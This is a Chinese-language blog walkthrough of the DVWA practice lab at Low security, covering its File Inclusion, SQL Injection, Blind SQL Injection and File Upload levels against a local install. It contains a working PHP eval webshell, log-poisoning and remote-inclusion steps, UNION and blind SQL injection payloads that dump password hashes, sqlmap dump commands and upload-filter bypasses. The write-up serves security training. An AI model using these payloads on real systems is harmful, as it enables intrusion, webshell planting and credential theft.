☰
DVWA靶场通关教程
2026/10/11 1:29:59 网站建设 项目流程

目录

  • DVWA靶场基本信息
  • File Inclusion关卡
  • SQL Injection关卡
  • SQL Injection(Blind)关卡
  • File Upload关卡
  • 结尾

DVWA靶场基本信息

登录界面:账号 admin,密码 password#其他默认用户名和密码:admin/password gordonb/abc1231337/charley pablo/letmein smithy/password# 忘记密码连接数据库----查看密码: use dvwa;show tables;----select* fromusers;--- MD5解密

File Inclusion关卡

难度等级

  • Security : Low

开始

1. 读取敏感文件

  1. 判断是否有漏洞

点击页面中三个不同的php文件,发现url基本不变http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=xxx.php, 且页面框架基本一致 变化的只有后面的参数

更改url参数

# 根据系统进行更改 ,输入:/etc/passwd c:/windows/win.ini# ulr链接为:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=c:/windows/win.ini

结果: 返回了win.ini内容, 判断有文件包含漏洞

;for16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1[xianshuabao]client_uuid={8140E21C-3990-4bca-A302-2FE5901C649A}
  1. 读取本地敏感文件
  • burpsuite标记爆破其他路径,读取文件


结果: 只有c:\Windows\win.ini路径可以读取

2. 读取本地getshell

利用日志写入功能, 将一句话木马写入到日志中, 然后getshell权限

需要知晓服务器日志路径

Apache服务器 常见日志文件路径:

  • Linux 系统:

    • /var/log/apache2/access.log(访问日志)
    • /var/log/apache2/error.log(错误日志)
    • /var/log/httpd/access_log
    • /var/log/httpd/error_log
  • Windows 系统:

    • C:\Apache24\logs\access.log
    • C:\Apache\logs\access.log
    • C:\xampp\apache\logs\access.log(XAMPP环境)
    • C:\wamp\apache2\logs\access.log(WAMP环境)
  1. 写入一句话木马

url中输入:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/<?php @eval($_POST['cmd']);?>

  1. 找到日志文件路径

这是在本机, 路径清楚, D:\web\tools\php2018\PHPTutorial\Apache\logs\access.log
若是在对方服务器, 则需要自己找到对应的日志文件路径

发现一句话木马被编码了

使用burpsuite抓包, 改回正确的一句话木马

  1. 连接webshell

此外, 使用蚁剑连接, 请求中填写cookie信息,成功getshell

3. 远程文件包含

  1. 启用ip服务(或者使用自己云服务器IP)

执行命令

# Windows中python3-mhttp.server--bind0.0.0.012345# linux中python3-mhttp.server1234

访问测试

http://127.0.0.1:12345

结果: 成功返回数据

  1. 目标web网站访问攻击者ip地址

执行命令

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1:12345/cmd.php# hackbar的 body为:cmd=phpinfo();

SQL Injection关卡

难度等级

设置等级安全为low, 低等级
  • Security: Low

正式开始

思路

等级低, 我先尝试联合查询注入

输入1 或输入2 , 分别返回不同的用户名

  1. 判断是否有注入

使用hackbar插件

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#

提示错误了, 说明有注入

  1. 判断注入类型

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1as&Submit=Submit#

页面提示: 正常,返回了用户名
结果: 判断为字符型注入

  1. 判断闭合方式

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1as'&Submit=Submit#

数单引号
结果, 判断闭合方式为单引号

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1'--+&Submit=Submit# http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we'%23&Submit=Submit#

发现正常返回用户名了, 这里使用#号, 注释不行, 得用–+ 或者 %23

  1. 判断表中列数

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' order by2%23&Submit=Submit#

其他数量返回错误结果, 只有2时正确, 结果:得到表列数为2列

  1. 判断显示位

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' unionselect11,12%23&Submit=Submit#

11, 12 都能显示 ,说明都是显示位, 可以不用id=-1 了

但是这里给出一下

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselectdatabase(),12 %23&Submit=Submit#

这样,结果看起来更简洁

  1. 获取数据库名称

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' unionselectdatabase(),12 %23&Submit=Submit#

结果: 得到数据库名称dvwa

  1. 获取表名

输入

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(table_name)from information_schema.tables wheretable_schema=database()),12 %23&Submit=Submit#

结果,得到表名users , guestbook

  1. 获取列名

输入1

# 获取了所有列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(column_name)from information_schema.columns wheretable_schema=database()),12 %23&Submit=Submit#

结果: 得到列名comment_id,comment,name,user_id,first_name,last_name,user,password,avatar,last_login,failed_login

输入2

# 仅仅获取users表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' union select (select group_concat(column_name) from information_schema.columns where table_name='users' andtable_schema=database()),12 %23&Submit=Submit#

结果: 得到users表中的列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

输入3

# 仅仅获取guestbook表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' union select (select group_concat(column_name) from information_schema.columns where table_name='guestbook' andtable_schema=database()),12 %23&Submit=Submit#

结果: 得到users表中的列名comment_id,comment,name

  1. 获取数据

输入1

# 获取users表中的记录userhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(user)fromusers),12 %23&Submit=Submit#

结果: 得到了用户名admin,gordonb,1337,pablo,smithy

输入2

# 获取users表中的记录passwordhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(password)fromusers),12 %23&Submit=Submit#

结果: 得到了用户名admin,gordonb,1337,pablo,smithy

输入3

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(password)fromusers),12 %23&Submit=Submit#

得到加密的密码

结果: md5解密,得到密码password

  1. SQLmap获取数据

输入

# 注意禁止拖库 ,仅供演示# dvwa靶场使用sqlmap 必须使用cookie参数sqlmap.py-u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#"--batch-Ddvwa-Tusers-Cpassword--cookie="security=low;PHPSESSID=4392a3si9t0o41a3g5efen0cf5;"--dump

结果: 得到密码password,abc123等

SQL Injection(Blind)关卡

  • security: Low

说明: sql盲注

思路

已经提示是blind 盲注了, 那就直接进行盲注测试 盲注特征, 页面只会点头和摇头 盲注分类: 布尔盲注 和 时间盲注 用到的主要函数: sleep() length() substr() ascii() limit 0,1

开始正式测试

  1. 是否存在注入

hackbar 中 payload :

http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and1=1&Submit=Submit#

payload的测试语句

1' and 1=1 --+ 1'and1=2--+
输入1, 或 payload: 1' and 1=1 --+ 正常, 存在与数据库中

输入过大的数10, 或者 payload: 1' and 1=2 --+ , 错误, 不存在于数据库中

页面返回结果不同1' 与前面的单引号完成了闭合 后面的1=1与1=2结果不同, 所以是字符型注入

存在字符型注入

  1. 获取数据库长度
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and length(database()) =4 %23&Submit=Submit# 或 ?id=1'/**/and/**/length(database())=4--+

结果: 数据库长度为4

  1. 获取数据库名

payload

http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and ascii(substr((database()),1,1))=100--+&Submit=Submit#

进行爆破, 得到数据库名: dvwa

  • sqlmap工具使用
sqlmap.py-u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit"--cookie="PHPSESSID=4392a3si9t0o41a3g5efen0cf5;security=low"--batch-pid--dbs

综合判断, 数据库名为dvwa

  1. 获取表的数量
id=1'/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="dvwa")=2--+

结果: 得到表数量为2

  1. 获取表名
/DVWA-master/vulnerabilities/sqli_blind/?id=1'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="dvwa"/**/limit/**/0,1),§1§,1))=§1§--+

burpsuite 中添加标记, 进行爆破

结果: 分别得到表名guestbook 与 users

  1. 获取字段列数
?id=1'/**/and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='dvwa'/**/and/**//**/table_name='guestbook')=3--+

–common-tables 只猜常见表名(极快),或添加 --string=“User ID exists” 明确真条件。

  • SQLmap获取数据

File Upload关卡

  • Security: Low

难度等级低

1. 判断客户端还是服务端检测

上传cmd.php文件 ,发现刷新按钮有刷新

burpsuite中也抓取到了相应包

结论:服务端检测

2. 判断检查内容还是检查后缀

上传cmd.jpg文件(内容一句话代码) ,上传成功

结论:仅检查了后缀

3. 判断黑白名单

上传任意后缀文件黑白.hiddenhidden,成功

结论:黑名单检测

  • 绕过

3.1 后缀大小写绕过

更改文件名为:cmd.PHP,上传文件,成功

3.2 后缀双写绕过

更改文件名为:cmd.pphphp,上传文件, 也成功

3.3 其他可解析后缀绕过

上传cmd.php文件, 修改后缀为phtml, php2.....等等 这里php没加黑名单, 竟然也上传成功了

burpsuite中修改后缀,尝试,发现php2也上传成功了

分别使用蚁剑连接, 连接成功 之前尝试路径: http://127.0.0.1/DVWA-master/vulnerabilities/upload/hackable/uploads/cmd.php 失败../: 为定位到根目录,这里根目录则是 DVWA-master


php2 , pphphp 解析失败

PHP, phtml 解析成功

3.4 图片马+.htaccess配置文件绕过

上传 cmd.png 与 .htaccess文件

蚁剑连接图片马:cmd.png,连接成功

结尾

文章会根据我的知识库, 不断进行优化, 并待续更新中…

欢迎关注我「悟道子HACK笔记」,获取更多:

  • 🔥 最新网络安全技术分享
  • 🎯 实战靶场源码与解析
  • 📚 系统化学习路线指南
  • 💡 行业动态与职业发展建议

以上就是今日博客的全部内容了
创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询